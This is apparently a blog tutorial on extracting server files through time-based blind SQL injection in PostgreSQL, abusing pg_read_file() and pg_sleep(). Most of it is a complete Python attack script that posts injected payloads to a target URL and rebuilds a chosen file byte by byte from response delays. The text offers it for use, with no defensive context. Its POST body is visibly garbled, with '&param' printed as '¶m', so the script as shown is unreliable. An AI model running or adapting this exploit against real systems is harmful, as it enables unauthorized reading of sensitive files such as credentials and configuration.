Extracting Files via Time-Based Blind SQLi in PostgreSQL

Published on April 26, 2025


This article covers how to extract file content using a time-based blind SQL injection against a PostgreSQL database. The method involves detecting delays triggered by pg_sleep() when a guessed character matches part of a file read with pg_read_file().

Requirements

  • A vulnerable parameter in a PostgreSQL-based web application
  • Ability to inject SQL into a POST request
  • Python 3 with requests library installed

Script Overview

The following script guesses the file contents one byte at a time by measuring the server’s response delay. If a guessed character matches, the server sleeps for 5 seconds.


import requests
import string
import time

URL = 'http://target.com/class.php'
headers = {
    'Host': 'target.com',
    'Content-Type': 'application/x-www-form-urlencoded',
}

FILE = input("Enter /path/to/file: ")
MAX_POS = int(input("Enter maximum char to discover: "))
THRESHOLD = 4.0

ALPHABET = string.ascii_letters + string.digits + string.punctuation + ' \n'
extracted = ''

for pos in range(1, MAX_POS + 1):
    offset = pos - 1
    found = False
    for c in ALPHABET:
        data = f"param1=65¶mvuln=178'+AND+(SELECT+(pg_read_file('{FILE}',{offset},1)='{c}') AND (pg_sleep(5) IS NULL))+--¶m3=40¶m4=toto¶m5=tutu"
        start = time.time()
        r = requests.post(URL, headers=headers, data=data, verify=False)
        elapsed = time.time() - start
        if elapsed > THRESHOLD:
            extracted += c
            print(f"[+] Position {pos}: '{c}'  (delay {elapsed:.1f}s)")
            found = True
            break
    if not found:
        print(f"[-] Position {pos}: no match (stopping)")
        break

print("\nRecovered data:", extracted)
        

Important Considerations

  • False positives: Network jitter can occasionally cause delays. Use a reasonable threshold.
  • Performance: Extracting large files is slow. Limit extraction to known critical files.